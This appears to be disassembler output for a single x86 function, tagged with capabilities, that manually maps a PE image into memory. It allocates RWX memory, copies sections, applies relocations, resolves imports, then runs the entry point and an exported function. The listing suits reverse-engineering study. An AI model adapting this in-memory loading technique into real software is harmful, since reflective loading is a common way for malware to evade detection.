Function at 0x64d950
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov ecx, dword [ebp + 8]
call fcn.00403cd0
mov dword [0x70b220], eax
mov ecx, dword [ebp + 8]
call fcn.004040c0
mov dword [0x70b21c], eax
mov eax, dword [0x70b220]
mov ecx, dword [0x70b220]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x34]
mov dword [0x70b22c], eax
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 0x78]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
cmp dword [edx + 4], 0
je 0x64d9c5
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x70b22c], eax
mov dword [ebp - 0x60], 0
lea edx, [ebp - 0x60]
push edx
push 0x40
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [0x70b22c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x64d9f4
jmp 0x64dd87
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x50]
push ecx
push 0
mov edx, dword [0x70b22c]
push edx
call fcn.005f6b00
add esp, 0xc
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [0x70b220]
push edx
mov eax, dword [0x70b22c]
push eax
call fcn.005f6580
add esp, 0xc
mov ecx, dword [ebp - 4]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0
jmp 0x64da4b
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x18], ecx
jae 0x64da91
imul edx, dword [ebp - 0x18], 0x28
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + edx + 0x10]
push ecx
imul edx, dword [ebp - 0x18], 0x28
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x70b220]
add ecx, dword [eax + edx + 0x14]
push ecx
imul edx, dword [ebp - 0x18], 0x28
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x70b22c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.005f6580
add esp, 0xc
jmp 0x64da42
mov edx, dword [ebp - 4]
mov eax, dword [0x70b22c]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0x44], eax
je 0x64db83
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 0x78]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
cmp dword [edx + 4], 0
je 0x64db83
mov eax, dword [ebp - 0x3c]
mov ecx, dword [0x70b22c]
add ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp dword [edx], 0
jbe 0x64db83
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x70b22c]
add ecx, dword [eax]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x14]
add edx, 8
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 4]
sub ecx, 8
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x68]
shr edx, 1
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x20], 0
jmp 0x64db1b
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x6c]
jae 0x64db72
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax + edx*2]
sar ecx, 0xc
mov byte [ebp - 5], cl
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax + edx*2]
and ecx, 0xfff
mov word [ebp - 0x28], cx
movzx edx, byte [ebp - 5]
cmp edx, 3
je 0x64db59
movzx eax, byte [ebp - 5]
cmp eax, 0xa
jne 0x64db70
movzx ecx, word [ebp - 0x28]
add ecx, dword [ebp - 0x70]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
add eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
jmp 0x64db12
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add eax, dword [edx + 4]
mov dword [ebp - 0x14], eax
jmp 0x64dad2
mov ecx, 8
shl ecx, 0
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 0x78]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x70b22c]
add edx, dword [ecx]
mov dword [ebp - 0x24], edx
jmp 0x64dbae
mov eax, dword [ebp - 0x24]
add eax, 0x14
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
cmp dword [ecx + 0xc], 0
je 0x64dc72
mov edx, dword [ebp - 0x24]
mov eax, dword [0x70b22c]
add eax, dword [edx + 0xc]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x24]
mov eax, dword [0x70b22c]
add eax, dword [edx + 0x10]
mov dword [ebp - 0xc], eax
jmp 0x64dbef
mov ecx, dword [ebp - 0xc]
add ecx, 4
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0
je 0x64dc6d
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x70b22c]
add ecx, dword [eax]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
and eax, 0x80000000
je 0x64dc17
mov byte [ebp - 6], 1
jmp 0x64dc1b
mov byte [ebp - 6], 0
mov cl, byte [ebp - 6]
mov byte [ebp - 0xd], cl
movzx edx, byte [ebp - 0xd]
test edx, edx
je 0x64dc4c
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
and ecx, 0xffff
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
jmp 0x64dc68
mov edx, dword [ebp - 0x7c]
add edx, 2
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
jmp 0x64dbe6
jmp 0x64dba5
mov dword [ebp - 0x58], 0
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 4]
lea eax, [edx + ecx + 0x78]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
cmp dword [ecx + 4], 0
je 0x64dd25
mov edx, dword [ebp - 0x50]
mov eax, dword [0x70b22c]
add eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx + 0x18], 0
je 0x64dd25
mov edx, dword [ebp - 0x1c]
cmp dword [edx + 0x14], 0
je 0x64dd25
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x70b22c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x70b22c]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0
jmp 0x64dcf8
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
cmp edx, dword [ecx + 0x18]
jae 0x64dd25
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x70b22c]
add ecx, dword [eax + 0x1c]
mov edx, dword [ebp - 0x38]
movzx eax, word [edx]
mov edx, dword [0x70b22c]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x58], edx
jmp 0x64dd25
mov eax, dword [ebp - 4]
mov ecx, dword [0x70b22c]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x80], ecx
push 0
push 1
mov edx, dword [0x70b22c]
push edx
call dword [ebp - 0x80]
mov byte [0x70b224], 1
push 0x70b228
push 0x64dd90
movzx eax, byte [0x6fd990]
push eax
push 0
mov ecx, 0x70b230
call fcn.00403e20
push eax
mov ecx, dword [ebp + 0xc]
call fcn.004040c0
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00403cd0
push eax
mov ecx, dword [0x70441c]
push ecx
call dword [ebp - 0x58]
add esp, 0x20
mov esp, ebp
pop ebp
ret